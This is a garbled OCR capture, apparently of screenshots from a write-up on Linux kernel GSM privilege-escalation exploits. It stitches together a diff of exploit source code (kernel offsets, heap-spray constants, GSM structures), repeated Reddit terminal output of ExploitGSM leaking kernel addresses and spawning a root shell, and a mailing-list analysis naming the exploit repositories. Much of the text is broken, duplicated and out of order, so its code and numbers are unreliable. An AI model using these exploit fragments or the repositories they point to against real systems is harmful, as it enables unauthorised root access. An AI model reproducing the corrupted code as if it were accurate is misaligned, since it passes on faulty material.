. -const int ASCII_OFFSET = 48;
+#1-Fnde-F GSHIOC‘_SETCU“F—EXT -const int WQ_FLAG_BOOKMARHK = 8x8d;
struct gsm_dlci_config { _ const int CLK_OPS_OFFSET = sizeof(uint6y_t) * 16;
= __u32 channel; /* DLCI (@ for the associated DLCI) */ const int NUM_DLCI = 64;
- __u32 adaption; /* Convergence layer type */ -#define BIT(name) (1ULL << name)
_ u3? mtu: f* Maximum transfer unit *f const int CLK_GET_RATE_NOCACHE = BIT(6);
—_— ] -
- __u32 priority; /* Priority (@ for default value) */ -#tdefine HEAP_SPRAY_SIZE 1024
- __u32 i: /* Frame type (1 = UIH, 2 = UI) */ const unsigned int XEN_ELFNOTE_ENTRY = 1;
- u32 k; /* Window size (@ for default value) */ .
- Co L e -#define BITS_PER_LONG 64
__u32 reserved[8]; /* For future use, must be initialized to zero */ _
__u32 channel; /* DLCI (@ for the associated DLCI) */ enum {
u32 adaptiﬂn* /* Convergence layer type */ - WORK_STRUCT_PENDING_BIT = 8, /* work item is pending execution =/
- . ! . . - WORK_STRUCT_INACTIVE_BIT= 1, /* work item is inactive =/
--u32 mtu; /* Maximum transfer unit */ - WORK_STRUCT_PWQ_BIT = 2,  /* data points to pwq */
__u32 priority; /* Priority (@ for default value) */ - WORK_STRUCT_LINKED_BIT = 3, /* next work is linked to this one */
__u32 j_; /* Frame type (1 = UIH, 2 = Ur) =/ + WORK_STRUCT_PENDING_BIT =@, /= work item is pending execution =/
5 . - + WORK_STRUCT_INACTIVE_BIT= 1, /* work item is inactive */
--u32 k‘ /* Window size (O for dE{auFt.U?‘lu?} */ + WORK_STRUCT_PWQ_BIT = 2, /* data points to pwg */
__u32 reserved[8]; /* For future use, must be initialized to zero */ M WORK_STRUCT LINKED BIT = 3 /% next work is linked to this one #/
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diff -u ./GSM_linux_Kernel_LPE_Nday_Exploit/main.c ./ExploitGSM/Exploit_6_5/main.c

z3rodae@@z3rodaed:~$ diff -u ./GSM_Linux_Kernel_LPE_Nday_Exploit/main.c ./ExploitGSM/ExploitGSM_6_5/main.c efine GSMIOC_GETCONF_DLCI “TOWRUTGT, 7, Struct gsm_glci_contig)
——— ./GSM_Linux_Kernel_LPE_Nday_Exploit/main.c 2024-06-03 00:15:00.299389092 +0900 cEAnE b bl s el SRR TE SIE S

#defi GSMIOC_GETCONF_DLCI IOWRL'G' 7 t t dleci fi
+++ . /ExploitGSM/ExploitGSM_6_5/main.c 2024-04-20 12:33:15.092970323 +0900 e el iy S e ARl Sl i

ee -1,5 +1,3 @@ FHendit '
—// GSM Linux Kernel Race Condition -> UAF @day Exploit written by jmpelx _
_ const unsigned char CMD_CLD = 8x61;

const unsigned char CMD_TEST = #8x11;

struct gsm_dlci_config)

ftdefine _GNU_SOURCE @@ -69,7 +71,7 @@

#include <stdio.h> const unsigned char GSM1_SOF = @x7E;
#include <errno.h> const unsigned char SABM = Bx2F;
@@ -u5,23 +43,27 @@ |-E22§E e e ERD ST,

+const unsigned char CHMD_MSC =  8x71;

##define UNUSED(x) (void)(x) ! ER—~ BXEL;
#define ALIGN_UP(p, size) (__typeof__(p))(((uintptr_t)(p) + ((size) - 1)) & ~((size) - 1)) Eﬂ:;‘; t::ig::g E::ﬁ g?; :i;’::
~#define PAGE_UP(addr) (((addr)+((PAGE_SIZE)-1))&(~((PAGE_SIZE)-1))> B '
#tdefine SPIN_WAIT_CONDITION(value, condition) while (condition != alue) const int STACK_SIZE_SANDBOX = 1860008;

const int STACK_SIZE_EXPLOTATION = 1000080;
const int SOL_IP = @;

fidefine MINCX, Y) CCOX) < (YD) 7 (XD : (Y)) ~const int KERNEL_PATH_READ_OFFSET = 11:
-const int SECTOR_SIZE = 512;
. -const int BOOT_SECTOR_COUNT = 1;
+#de-F:|:nE HEAP_SPRAY_SIZE 1024 -~const int BOOT_FLAG = B8XAASS:
+itdefine BITS_PER_LONG 6u4 -const int UNCOMPRESSED_KERNEL_SIZE_OFFSET = U;
s -const int SETUP_HEADER_OFFSET = BOOT_ENTRY_OFFSET - 15;
. -const int ASCII_OFFSET = 48;
+#1-Fnde-F GSHIOC‘_SETCU“F—EXT -const int WQ_FLAG_BOOKMARHK = 8x8d;
struct gsm_dlci_config { const int CLK_OPS_OFFSET = sizeof(uinté4_t) * 18;
- __u3Zl channel; /% DLCL (U tor the associated DLCL) */ const int NUM_DLCI = 6u;
- __u32 adaption; /* Convergence layer type */ -#define BIT(name) (1ULL << name)
_ u3? mtu: f* Maximum transfer unit *f const int CLK_GET_RATE_NOCACHE = BIT(6);
—_— ] -
- __u32 priority; /* Priority (@ for default value) */ -#tdefine HEAP_SPRAY_SIZE 1024
- __u32 i: /* Frame type (1 = UIH, 2 = UI) */ const unsigned int XEN_ELFNOTE_ENTRY = 1;
- u32 k; /* Window size (@ for default value) */ .
- Co L e -#define BITS_PER_LONG 64
__u32 reserved[8]; /* For future use, must be initialized to zero */ _
__u32 channel; /* DLCI (@ for the associated DLCI) */ enam 3
u32 adaptiﬂn* /* Convergence layer type */ - WORK_STRUCT_PENDING_BIT = 8, /* work item is pending execution =/
- . ! . . - WORK_STRUCT_INACTIVE_BIT= 1, /* work item is inactive =/
--u32 mtu; /* Maximum transfer unit */ - WORK_STRUCT_PWQ_BIT = 2,  /* data points to pwq */
_-u32 priority; /* Priority (@ for default value) */ - WORK_STRUCT_LINKED_BIT = 3,  /* next work is linked to this one #/
__u32 j_; /* Frame type (1 = UIH, 2 = Ur) =/ + WORK_STRUCT_PENDING_BIT =@, /= work item is pending execution =/
5 . - + WORK_STRUCT_INACTIVE_BIT= 1, /* work item is inactive */
--u32 k‘ /* Window size (O for dE{auFt.U?‘lu?} */ + WORK_STRUCT_PWQ_BIT = 2, /* data points to pwg */
__u32 reserved[8]; /* For future use, must be initialized to zero */ M WORK_STRUCT LINKED BIT = 3 /% next work is linked to this one #/
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This Is not a zero-day?

GSM 0 dayo]| Cliet 2 A S 3 Sof of X0l EES

~n

r/linux « 2 mo. agc
A thecowmilk_
Someone found a kernel Oday.

Link of the repo: here.

(W)

et: S grep -R VERSION_ID /etc/os-release
?? f4"

S ./ExploitGSM ubuntu

perntsstble spray -> 500

begin try leak startup_xen!

startup xen leaked address -> ffffffff9a6933do

text leaked address -» ffffffffo8000000

lockdep_map_size -> 32
spinlock_t_size -> 4
mutex_size -> 32
tty port -> 376
tty buffhead > 136
dead -» 524

walting setconf dlci thread

Wailt 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root”), use “sudo <command>".
See "man sudo_root"” for details.

root@pouet: /root# \d

uld=0(root) gid=0(root) groups=0(root),4(adm),b24(cdrom),27(sudo),30(dip),46(plugdev),122(1padmin),h 134(1xd), 135(sanbashare), 1000(mathieu)
root@pouet: /roots




This Is not a zero-day?

GSM 0 dayo]| Cliet 2 A S 3 Sof of X0l EES

~n

r/linux « 2 mo. agc
A thecowmilk_
Someone found a kernel Oday.

Link of the repo: here.

(W)

et: S grep -R VERSION_ID /etc/os-release
?7 04"

S ./ExploitGSM ubuntu
perntsstble spray -> 500

begin try leak startup_xen!
startup xen leaked address -> ffffffff9a6933do
text leaked address -» ffffffffo8000000

lockdep_map_size -> 32
spinlock_t_size -> 4
mutex_size -> 32
tty port -> 376
tty buffhead > 136
dead -» 524

walting setconf dlci thread

Wailt 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root”), use “sudo <command>".
See "man sudo_root"” for details.

root@pouet: /root# \d

uld=0(root) gid=0(root) groups=0(root),4(adm),b24(cdrom),27(sudo),30(dip),46(plugdev),122(1padmin),h 134(1xd), 135(sanbashare), 1000(mathieu)
root@pouet: /roots l
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This Is not a zero-day?

GSM 0 dayoi| CHet A S 2H Sof| e X0 E=

AN

r/linux * 2 mo. agc
A thecowmilk_

Someone found a kernel Oday.

Link of the repo: here.

et: S grep -R VERSION_ID /etc/os-release
="22.64"

O

~ eup - S ./ExploitGSM ubuntu
permissible spray -> 500

begin try leak startup_xen!

startup xen leaked address -> ffffffff9a6933do

text leaked address -» ffffffffo8000000

Llockdep_map_size > 32
spinlock_t_size -> 4
mutex_size -> 32
tty port -> 376
tty buffhead > 136
dead -» 524

walting setconf dlci thread

Wailt 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user “root”), use “sudo <command>".
See "man sudo_root"” for details.

root@pouet: /root# \d

uld=0(root) gid=0(root) groups=0(root),4(adm),b24(cdrom),27(sudo),30(dip),46(plugdev),122(1padmin),h 134(1xd), 135(sanbashare), 1000(mathieu)
root@pouet: /root# [}
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GSM Exploit Summa

Kyle Zeng2} Dr. Christopher Kunz= YuriiCrimson2| ¢
O]= CVE-2023-65462 2t40| gl= Oday FIZAH S 0| 2511 USS ZXot UASLICE.
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GSM Exploit Summa

Kyle Zeng2} Dr. Christopher Kunz= YuriiCrimson2| ¢
O]= CVE-2023-65462 2t40| gl= Oday FIZAH S 0| 2511 USS ZXot UASLICE.

Re: New Linux LPE via GSMIOC_SETCONF_DLCI?

From: Kyle Zeng <zengyhkyle () gmail com>

Date: Thu, 11 Apr 2024 12:52:58 -0700
Kyle ZengO| Dr.christopher Kunz0ilZll "Re: New Linux LPE via GSMIOC_SETCONF_DLCI?" M2 2 {2 5L} Hi4 &L C}.




GSM Exploit Summa

Kyle Zeng2} Dr. Christopher Kunz= YuriiCrimson2| ¢
O]= CVE-2023-65462} 70| gl= Oday F|2FE S 0|9l

Re: New Linux LPE via GSMIOC_SETCONF_DLCI?

From: Kyle Zeng <zengyhkyle () gmail com>
Date: Thu, 11 Apr 2024 12:52:58 -0700

Notice that my previous analysis on YuriiCrimson's exploits is their
ExploitGSM_6_5 version,

| cannot make the ExploitGSM_5_15_to_6_1 version work in the latest
kKernel in my

possibility that it still works.

And the splash of the ExploitGSM_6_5 exploit is attached to the email.

Thanks,

Kyle Zeng

yle Zeg% 0| M0j|= GSM Exploitz} 2
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GSM Exploit Summa

Kyle Zengi} Dr. Christopher Kunz— YuriiCrimson¥&| <]
O|= CVE-2023-65462} 20| ¢i= 0day F|2f&E S 0|25t

Re: New Linux LPE via GSMIOC_SETCONF_DLCI?

From: Kyle Zeng <zengyhkyle () gmail com>
Date: Thu, 11 Apr 2024 12:52:58 -0700

ASE EXotal YL}

Notice that my previous analysis on YuriiCrimson's exploits is their | just did some preliminary analysis on this.
ExploitGSM_6_5 version. There are in fact three exploits involved in this.

| cannot make the ExploitGSM_5_15_to_6_1 Pr:iﬂn work in the |atest ]
kernel in my test aﬂ.|runmcnt. However  not rule out the impedsy

possibility that it still works. https://
YuriiCrimson's GSM exploit: https://github.com/YuriiCrimson/ExploitGSM

And the splash of the ExploitGSM_6_5 exploit is attached to the email.

—2023-6546
's GSM ex
f/github . com/

https://github.com/Nassim=Asrir/ZD1-24-020/

ploit:
com/ jmpedx/GSM Linux Kernel LPE Nday Exploit

Al of thHm terPTPd the same subsystem (GSM),

Thanks, chd thc same L”ULR |~1L method ("/sys/ Lwrnwlfnntﬁ—“J. But there are
Kyle Zeng two vulnerabilities involved here.

ln short .

vilnerability |
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jmpedx'
s not CYE-2023-6546.

s and YuriiCrimson's exploits but the

at 1s not patched in the main tree yet,
atch gap.
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